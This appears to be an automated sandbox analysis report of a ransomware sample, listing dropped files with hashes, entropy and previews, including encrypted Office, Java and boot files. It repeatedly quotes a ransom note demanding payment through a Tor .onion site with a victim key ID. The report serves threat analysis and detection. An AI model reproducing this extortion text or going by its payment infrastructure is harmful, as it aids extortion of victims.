Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\Microsoft\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\EFI\Microsoft\Recovery\BCD

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	20588
Entropy (8bit):	7.99071401221645
Encrypted:	true
SSDEEP:	384:5YLA8RwGhh/t62gf3UWihNuqSwGlFOoWnoobApFnOWs1OcVQG:GLAnYwZkupwGlF9Woo8D1spVj
MD5:	D37E673D6DF46D933BA3E2417BFFA544
SHA1:	0974D3A5154415A62BFE644C2830349DBD7E1C63
SHA-256:	305D15574B76CF25F6D6372378135E419370B936D73884294BB2234774411211
SHA-512:	2205455FAFD37F0E8AF9C500F5D8F38864D178CCC28B876BA10F16551DD81241844FDB57C83998037830141B3EBC9156BD98FF548FCFE5397ACA7C7D90A563A5
Malicious:	true
Preview:	.7T;.1...0.Q.e..I.w.1..@.x..nKu. .$..R...A.n..B$.....i...l...G+Y,WJL.G+n.:...r...CO';'....z.S$@...... p......%.&.....]In..!caHC.6.C.....4.2..r.<.-_..f.,.r...qa.S^T...o..L........'.......m;........M.."}..:..~\|... ...o.9I.\.:z.2...F....#{...4.-...-.V<...?-....'.o.]../..[.^.<..~....q...R\|..z..+$G=.mB.N.5.\..v B.E.....?a^6..qy..X.4.Lf.-.V.N.V..@l....G-.D....A<...\gRv6.'XV0.#.z.^.t....."i.1#.).o.. .9G.2...2.T.^..I.%o/...!2yK...K}..''1..u...U....d-...y..On.Iz&kL.t.?R.3;3...vE-..s._#.uK\W....C..<Jt....j.G}~...eN[g. .B...V..ohY.W.Y...^..3...T....s....!.S*o.....A...z.D...t~.p..(u...:e.Ahj.."Gzc.../s.&7..1.$.. ..)VX.....L8.0v343...TP..p..V....<.JeD`..;.......2W..L...}S1...k.....yB.p...ca....2..l3v"......:..U..O.-t.....f{\..Mt.S..2."...%.l....c.4...V...M..i..&.. .AE..1s.S..Zyv.p...s.x.....ra.!...h.\..$.....X....~n.?.S. y#,.X.I(U..,..._...{....Z.W..i.o..G.?..z.Z'.....L...~.....Qagk..%.{.NN./..#\.....O...X..`..r..yttbM...q.u<..k..u....UIN...lSM..re.

C:\EFI\Microsoft\Recovery\BCD.LOG

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	32876
Entropy (8bit):	7.995317411824869
Encrypted:	true
SSDEEP:	768:9tb+yRGsNscz43XESunJOmU+99+3MOYmBpBlUGUwNXBS:ayXEEJnIgOY+pBlDXG
MD5:	B76BB2D6077762A9DE81E5D3DF2631E9
SHA1:	FDC92704E7B0756E6B8D5E753B090711F5CCC23B
SHA-256:	EFA5E66C209404310D2123F9A0BCC8FE13516B70C7E7498CE33D10F6CA83763D
SHA-512:	910873EC9F206C7CCC0EED0F6B97CBAB6B58A9C4E7D465BA3CF1315AB96DA23620C1D34C4D8F78DF9925BFFFDC1C40DC09EAFBF7CAA6FA6BAC5BA0402C043A7F
Malicious:	true
Preview:	...b..n.7...R%.a.}....B8~1.+X....=#i.o.......m..Oe..-..zI$..>O..h.o.[.....8+.AB.6.7D"..H....Z....r~....3.;......T".J.cL...\9.0...b.q~.vqSw....#.....x`e5.p......;......Gp.g...{X..J.J-..#....9...f..%.n.....N.sGk...D........b...:y.s%c............o....O.:...o7w..>"......w.y> .........V...zo...=!...(.sdd...X.......a/............H.'1.....J.G......?Tl...>.H(.h.{.h.\|.(I....r...].q./=..K.^...2\|k..P......."e...Q..z.KK..SP3.e...0.$....x.v...g?"..0*._./)...;.v.".....c....~.....B..\$....z...........r,0L...1?x.l.H!.....G.=T.....G_.5t.]0.. ."..i.0(.........{...W..3.y@1.......g..e.>S.+..}....D..M)8....d7..o.J....+..EcE..8...W.l....j.a.q..{z.=!\|{A.<..........V..R...........=#L#_A.2..@E.....9S(....IT....~...>.-Y......w)..[...e'...TO...b..9.....d.~@....U3.....i`I.kQ2...x);.H.U.9.....\|j.....'..X.2.....<b..I.tD.J..Q+/ME...m.GC....a..{Y..(........&,..d6.(+W.9.?a.........?..7.;..J-I..#...'Q...o.N..WhE..9).R..0.TV#y8..aW%W.I...REJx.e..]Y6m.r..8..

C:\EFI\Microsoft\Recovery\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Java\jre-1.8\lib\deploy\ffjcext.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	14264
Entropy (8bit):	7.986399184644429
Encrypted:	false
SSDEEP:	384:s1BROOat0SIkIR1KTKOQPPjEKpVCvCJrI/+Ff:s1TU7PMHj7yaL9
MD5:	9B4D3F7A4BEB3330D49F16FC03F50A09
SHA1:	C6002C89FFFE4E2B8C7C4432BB81E766830980B7
SHA-256:	295A14E53793575F3AF8CB3942C87E5D77703F0BDFBF59D4CCD784B82E45D237
SHA-512:	388024BA6B6AA54543A2C2FCAB217EF24FD6EA9BCEEB8ED2622411F4C530AB8621096FC833030F254B907B272BAABBD598B128610AD71D4A9292E3972A483A30
Malicious:	false
Preview:	...$..=...\|A^H...n.....e...jWq...4......Ojk^..........e ...i.{....B@.......`.lt.TY.Ue..~._.)......J%.6H..../(~.<....y..3..j..B.i>..Q.W.Ii.W9....C..n.{..g.mGkc>...En{.').4.k.s....o..j.A..N}.Z.G}.."..fL..]HP'..X.D.+.....j,.j./k..(.J....0U......]].."1..a.(.j...c...+....)D.h..!....,[..z....LQV......4...go2...){6U.=<a..H+%g^.........N[./..r.wl..tT.....w..].h.G&....$..es.C...<nh.l.pL.z...$....`.#.$S..j.J...n.......{..6...n.,~..X.+...5wm5.t..D@.8.N.G.D......Q...1.^..[.)...}.s....=&..N...=b...7..z...]$0l......"b...O....@.....zw...F.....sZ7O.H'j.y..V.2......R.CZ.XN........2. K...,Bx..+/...%..L....^.\g~.r.H.....x....T......rO;X..i,...D....g?.k.@...z....Y...}.......^....`.8.[.z..LQAE.'G^[..\.P....A..n.\|.E.......V.........#......)..9..Vs...R.;.R....6v.....&.de..5.....YI;L.t.^.#..@......B.@....0....F!..F.6?..#Ha...S....dJ.i..h..*.g..aN..7.S....b..:...F.B.Z....-\U...'G.....Q@...kqO.:U....2X.I.6n....3..g.aop....3..rEF..<..`.,;a..!.H...\n..R......

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	91301
Entropy (8bit):	7.99815024276238
Encrypted:	true
SSDEEP:	1536:Fu1AMqyZc1kK6c8/3MGYKdiR+Acxye4xuyNdHGr+ylUH4sgwcF8ceBGmZek:FCAMqysR6B/3NYKYR+AcUe4xLNJGSylU
MD5:	7C5246DD6FCD1BE22CFB692F45BED7E7
SHA1:	DB756FAD764994A07399398282972442855C048C
SHA-256:	D24ECC405B16D81E28BF9CDB928F31B1F63470A0F1383A1220006A8ECBD7D66C
SHA-512:	8BFFEBD2277D5B17BD99B6BC204C2661444E3F1FDCDA1FE06562DE6E016AF6D39A10B09A36D07F1667E1C7112E383512E04C8053CBCDE76BBA1E21EFFA0CC829
Malicious:	true
Preview:	..Q...........YG.y;..D...Y9...........U[Dn./#..._Sl.Uf.ej.>..[f..u.....M.....E.......:....#.C..u.....TGo..9.....^....o^P....m......jb.....)=+{...2vPr.{c..p.i.Q.+z.L........`......P.H...,....X.`x..&.5]..#..Z.X.D!...V.u...h.%..K.dI._,..k.h...b.....-....{..&..W.........gVo#&...i..B!.......Z.I..V.Y...\s...8..H..{#...O/.-.....%6..r..O..g....Aw....04.DQ.F......S...1.S.)Nt.R{'6.h....a0>F..]q......j7..K-..S7.>v...r.GD...$.$V...7...8X.r-]..7.ffp..=..V...."U..j_)...i......E.....dca....xSS..{F.K.L...K.&1.xV....h..9i..K..Q.=l.4g..<...\|3..t..=.)...:.?:&..t5b.J..\|....c.F.I..,._..k.....{ ..".7'..........F,Dy..].N.#.Ob...J....".P..E_...a....Mp.%..A.b..s........~d.V.p>.:.s..P@p..7.U...C0..}...-..q.?..j/..)......Bc...@ .E.E.d.?.l.p~..XVj.....j..Hd...}.....S.i....H..\|.`..Z.;.O1..3\...g..B.u....D.E...I.oNwC.7..\..?..Z.H....m.o..M.R.o.@.".".u.Le...zKb.h13u_......#.....z.F....... ..o...H{?.....-...ZO7...%.."...\|..E.u..>B.F2H.......V.qEUq..N..'Y..."g.w.....]....

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.Controls.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	29233
Entropy (8bit):	7.992179864551415
Encrypted:	true
SSDEEP:	768:FzwHz9nMkLDeSVlH8OY6n04TIpfBbHofwZaMlFepGQOFA:Fz2VtuSVl7YW0pcw8IFTQO+
MD5:	BD16D7E8240060B5751610562BB857CE
SHA1:	155200176F024303F13E284AACC3BD823BD7EDE7
SHA-256:	CE918365714D0A02415475F24DD9608693CB20CDB3CE11BE7046BEEDB5C74E23
SHA-512:	540ED68601810C925680D2086BC17265F41B89ED9B544C363A582ABD651B8BBA458FECB64D611677B1B30A5E22623D275D0248DAA2F104A6FF1E4716C2EE0D21
Malicious:	true
Preview:	.o.vi..t...UQ..0+>...\|..5...{......ZG.S.v.[.H....~M/....}[C@ ..U.%......n(..o....@.3.{.Px.........M..8..I0:q..9..9......L\.._D..u...s......xc.D1z..C#.E.t>.Z..(..7.$bc..{Z.....c..W.%F...b8.k.~X.Z.ZAR.w.Q_6#m..B'....CyS....#0...3......Q5.&..+...!.2CB...[WT.fu...L<a..."tU..'..U......;...Z..... SK..8.x...._aC.\|....x..[.%..)..0.....q'.N........+...$.l].&.L.@?.`.VH>E[.w.8.a.O..\...L.Y..85.Ha=..N?.g...a.N.C../..f.[d...Q...&..<A.....y.f.t.=x..;t..O.]...BS.mW.l.1a],M.Z.C..0.@.7....kE^.+5.I..7.....j4n...>.M."E.[F1..6....E)5.^...W.p......K..m...$.3.y.n.$Y.aV.'.w3......I....}..R.9..\|. Y]e......#.....".o...H.,.[}.^J.n..z.'.~'Eht?.o.rR,./.....}..ANg>.^..J..3..{..St7....%6...........h..J.'-M.....caysvV2....dO.....X.7#Ee'.;....1..../..*.\W+a.B...T.-e4i2...s-3...D..X...(.,i.&...........>.K./.7..C.r5l.....\^.5...A.%.aB!.v~<M+TO.Q...'.L0l~2...l...].".....:.f..y.).`.......r....<...`.a.8.....S.......j!~K5..FV...5.\h......._.....=.M.`...m+.U=.[:..O...

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Utilities.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	70789
Entropy (8bit):	7.997513758151732
Encrypted:	true
SSDEEP:	1536:uOjDoeZjHEjzBYUBwAlznEcdAI3bmzmlMCloCO:uOjDZZwnB4YzEcupuM7
MD5:	1E1A7D06F1C27C5D163302392EF293EE
SHA1:	4F14EF2A1E186A95A55A23A48CD0CC83ED7B6138
SHA-256:	04F2756B3C2EADA50E84F2612F87C49A80DFA317F7A6D2541E193C9836BBF4E7
SHA-512:	3C3FB50A7BDEE4D2EFDF38D153EE99A56BDFC8BF62635E9346A751064EF7FC9F502399A21432040D2A0A5C4DCD0570B2A3D64A494C5849C579DB58BBAD390EB2
Malicious:	true
Preview:	....F`4.d.C.M...S.n.<K..A....=........v...0hC.7q..}.....P.,"E..a..f.4..`.........-..Y..{];.(&.e.Nf..h.....!.&..X.).t+.j.R2...@P...-k....p...,.j....I@..}k`I~...{....?.!Y..e.d#.......,..Z;...`$Le..u,p\|.`.......oa)=.e...2i..2.e3.v...^kaX..{..`.2..Jj..[... ['..g..p.-2....>ZO.z4....X.a........Q..0I..,B.#.....V...s.~k..r...K].....j.;.+..m.&.z..^..mA..a.$...H.A..^...0......+A.W....`.S.]7_V#.8.bc$....5..m........F....Rb.>H....d.\|.!......]X(~........y....E=...:).v.~...s..BBC.....B..@mv..#....q...\........Tw...K............^#.a..JR.u.U..T..J..n.R..W.F(.U..z.@R.N..]./_..L.8\|......;\K....&e?.7W..M'..5..5......q...H.?`..l..n..\$KZu}..C..$...A..(....l...D....F.BMgC.....9..%RX5.K.2.......T...)d.m....w...xv.....=./.~.3C...n)@...TfY/\|z'.......... .cG9.....(...V.....4.B.....%..u...F.E.......=.....-............5.^.].....<..X.4...g..].).*.(~...v...].gzv>+3....D@..<.~kF4.. ].+.8....[P....t'g..hv..Rz..~.3..P......;+.=.....a.1..8a.Q..V..6.N

C:\Program Files (x86)\Microsoft Office\root\Office16\Ocomprivate.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	88634
Entropy (8bit):	7.997914822654759
Encrypted:	true
SSDEEP:	1536:cGlJpAlGWIxreKSS8jOL2swLvhXdXZhx68O1Dk7p0B/C5EbAXyQHYI6T:cuoGZxTSSfL2ZS8jo/M/XDYv
MD5:	1FC4AD58C16E2B9B33657957DB71A237
SHA1:	EB288AF87C4F50A43D93B8B5AD17C2E2E2B391D6
SHA-256:	BDE25926E12C12C6BC415977165F4E5DF789118352C3CDF1ADCB533D33FBEE02
SHA-512:	2128CD3256CEBC77A5DD3B044553A704D5E4F73997589E28DB28793D5B2368649842E03DE3711484CEB98C237D18EF6A39D5A57DAB11C3C5B6DD6A61B030016F
Malicious:	true
Preview:	.1...KY...1.8.. .8.i.T...."....X@&..E.".h...._jq......d.l.c>.Zt.'.:.....I..\.+...D./.dU.>..P.".?K5.r3.....-.6......~...T-...BrU....lp......Q...k.B.....\|..V~.@.....+..3/.Qz.Nhk....A.}..s.`..5o...I.I..-..q..`T.......B:...\z..$..S.r......0.>WIA. .V......M~............iip.-.5......U..2....y....r.:.s....;.@.]....!%.mt.mk:.8....-)WwX..z.A(8.-..$1.....V"GA5..$.q/....O..7I..p.../\|'[$..^.."7H.Z.....b..y.......`h...!e.3.$.3..@+rV..B.U...+.=,;...y...-...o....m{o%PN....,....Y0.>./...W3.E....).VOD8Y....../..o..@.\..........2.f..D.E.Pql.b^.....I....V..,c...^..}...m2W.....'bp2g.uh&....+..n.t...8.$}....6.Yx.<8..q9..f.h.d.......n..yt......4.?.f.s}.c..tw~..w...xBY/.!c.m>bR.\.Aa...~...!4..1.y..v..+..rR...N.......H1....YI\|..../i......",.UK>...O&....@..]....k..D...8H.c\|.2.3)..j..\.H.=.v..f.....(...fY......#...n.`.%...tv........+.GY.......E.-..Z8.'6... e.2Hw....#....Fe..@.......`.\...av1HC.42..._X...q.uy.o....Nk5.E.........*.<.w.#.@&..:'P..Og.%.....

C:\Program Files (x86)\Microsoft Office\root\Office16\System.Windows.Controls.Theming.Toolkit.zip

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	11636
Entropy (8bit):	7.984527033068268
Encrypted:	false
SSDEEP:	192:Cu/P8VxKtHyq6ImJIjKxZJMsjG1MizvQ07txx/gWMHZNYAyH0lSHx7dQhVlV/RdC:t/P8u16If2CsjG1nvQSHprkSHxSVlV/y
MD5:	1C7F0C5A3F5EAF1DCEDFBCB05776BC45
SHA1:	29E083BF25BF6678167BDCDA061AA4C3E0C6CB1D
SHA-256:	1963AA5E217BB458290FD130E38DA98AA2C0977C941AA86D0CD6054FDAB21C08
SHA-512:	9767E88A96A8BC0F98905540E166930D9426A90ADCACDD9083ADBE479A9FDA37C386CA7AD68A02B1D44F470B31BC2B3FF73DA9F3FD3EEBC8EE23293067ED456B
Malicious:	false
Preview:	....%.%t.V.@....P..w.fW.5.!......x.\..d`.....,...j:....m~p6.XCM@.......i...oVOB.n.j.:...a...E...Y.dy..k......{_<...$5...V.e...iQ{k.fp7.2........\|t..;.........SjJ.[....:..9.*;`.'.w....00<._..4..ic.;.t......hQ...H.#.}.....!.w.Yz..9_r.....Z."-U<.Nj\|d.D..w./N..z.@..Jj.(k if..d...-.....67..%'.%4....2....E.2&.v.A.j...UpL..Vy...ufHA.ww..Y...v.S.6%.~vL.F.I"...H.h...s....I..U7.).&O ..Y!..'.....G.L+{,.5.../..;W..NARKV..F....@..A}. ....#..#u.Q2.II....".E&r4L...VpD.@.'.....W&e...`.B.;..Kuw.....-.x0cC.Y$....t..b5...1.%.B.#....!k{.GV.+..gD...(.......dSR.".}....mr.Y...5..Z.......=\|.f.jy.....Na.y..U.s\"m.i...5...n.:.J.B.....-.z.!c.1..M&.qBL?3.'....c....D...zpR...u..R....E..gJc3..P.rD,...Ff.63..'..@.d......o.x.Q....u.F...2%..-....o....?p...."G.A...........[..$...z.....v..2..V..i......C....p{d..3{.P<+.....nJ]...I.^.._...O..j.iGy.....b!....g...k...x..\..~.....Gn6...S.".V.b[....pG..&.R.....%.b~...9<DX...b=.......6.`.iV?...n......p.H.&........pJ.N..0.;@..F.?JI..R..A

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	215820
Entropy (8bit):	7.999106448849111
Encrypted:	true
SSDEEP:	3072:m1mh+7DQC6oN4FvhvTQCoMfqZNy7rYcRlbmSmjbeR8akgxBKjIsXVAXlc+xtlofE:c9X4F5UCE3Et9Zx8Z6BKjpIx5ebA
MD5:	2BEB09E1D552F73E88F3D0DCCE575273
SHA1:	EEB2D29C794046CCF8186A431924C70F46571BF7
SHA-256:	2CEB5DA844C2E3CF0B5C928481898A0793469EB8CD6D92A40849FF2B467A475C
SHA-512:	5890236079AA6EAECD7035C1FE0CFF22A748B753590E539C5BDC421CC0E766AC0C7D9E3C8069CB057BC2676C9C8E55C4943EDD3012BE2226669387CF6744F2C3
Malicious:	true
Preview:	...p..`]:...l'......J.H.i..u..fV>G0.a..{.&..1.L<=.`l..I k.lv...i.X$.:....F..B.R.k...v{.P........K..\...-.]..`..H^!S...3.....N2D{7.e\....f.H.....0....)./0.vQ...Y.%{._R...........ALMv....._..K.9.\|.E..}...c.L...+..>..0a.).?.)..U~.../...=...5W.......JN...z...o..<.8..i../..m.....L..MMNkfD.....m..H.. ....4...:.....6.....:.3c....h.r.b..X..d.@2.....y:........I..`.goN.$...SBeU..2...g....2....s.u...w....p.t6..+. ..$X.g<].S...g.z..u..O.%..8.J....H........]...t\..,.b.%.D.......,.6.~w..3....UU..Q]......en$..h.}\o/@.pmm.=...e/.....e....Q..~q.~.v...rf .x..../.....{.&..\|.l.`......uZ._...qW.........d.YK...+Wl".]../..J..W8V_,.tXqs..E..M%.br.?...7.4...;.GCQ...U.e[..o.7,.*..S..._.{O...q)..\\77.Z.S..X.x..h.VR.....a+...m.^..TK.Y.......e...8...<...4........3.....7....R,.Yo.....L.@......S.._V~..UO..`T..)\~Zj..L.[.W...$N2.....kC.SG.:?..5.o.O.N.....aF..\|.M.c.?....p.....e...jO.M.&2.....7x...}g5"..V..L.......g.ic.[F.3...I[...~../....E.u........."..K.`D..lo......8

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\fabric.js.map.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	737532
Entropy (8bit):	7.999723666200382
Encrypted:	true
SSDEEP:	12288:cl05zX74xs1al8+EdJJyTL+gaH9vQzYwOzpp3AXlMq2hHZdQn:5WE/dTyn+rUYwOH3AXlkkn
MD5:	AF3C137A030663D805BB7857D1FE5402
SHA1:	04043704E38606DE56414FB2000990ED60ED98CD
SHA-256:	973B423EE13D3C502C41735130196C74948911926B4DC2A6DEC87C2E1D82148F
SHA-512:	BB2B0249C3FF8FAE394B8D9F771D0B0AFEFF6CFF6055DE5F5C4314ABFB12DD6D1BFC7059ECE3EF79802F1BA243E9CD191EE05A60EB0A63BB8E20CA94D20B3C4A
Malicious:	true
Preview:	h...:. .^..t........I..8.......C>.<..@..j....n5.../v...Jd.#.2N..E,...I.X\9\|....Y.!...s../.fn./i-.p....Bg)r.q..OJ.&.%3.....qd.....e.`......`z/..\|..}.y...qn....{..ZU=...D0.X....HN....k.".DkP).....3?f..pt....L.<.Y....k_.<.s.q......c\|a%.....YMJ.%.[.K=Ef7.......;3.< P...GP4Jl.L...3.$..k....1..f....&..s.'.cx1.RJ.=g.l.a.++.....c..h.#..O.S<.:..s...b;6.l..88.B....,....W,..`N,..NY&.r....3..U!.Z...}..........UJ1E8.g.UE...5.X.n...!......Q.O%_u..I.u...>..J...U`....W.?.M{..iVZ..T.}f......W..k..%.&;H..0._\.(e..X./DI..c../l[.I..QV\.^.....(..g.o....8;.....>`.::.=....K.....Q....../{.?...p.. ......j...w6.......3..S.%.....j..c.=$.n..1c....7^.C..[...V.s.Y...a7?..j.a.R.m.....WV..t.g..!.z..ihz..l..0......r..k....2...^@.B.">...\|......W:...m...../.kn.:...T]!...v+.;.....&.[...=....lJ...w7#.".;.3.&u....M...x..!....v.#g..8j..h...$..X....dv.VSdX.oB..#.+......'.%..6Eb..G.t6S..T.l.z.%..f.2.K^L..0..kR.N.'..'.:...j........Hq"....w...e.u..m<R"....uQ.....V>B-...AOo.,+.{..H

C:\Program Files (x86)\Microsoft Office\root\Office16\sdxs\FA000000051\dist\en-us_web\taskpane.js.gz

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	139001
Entropy (8bit):	7.998517646717592
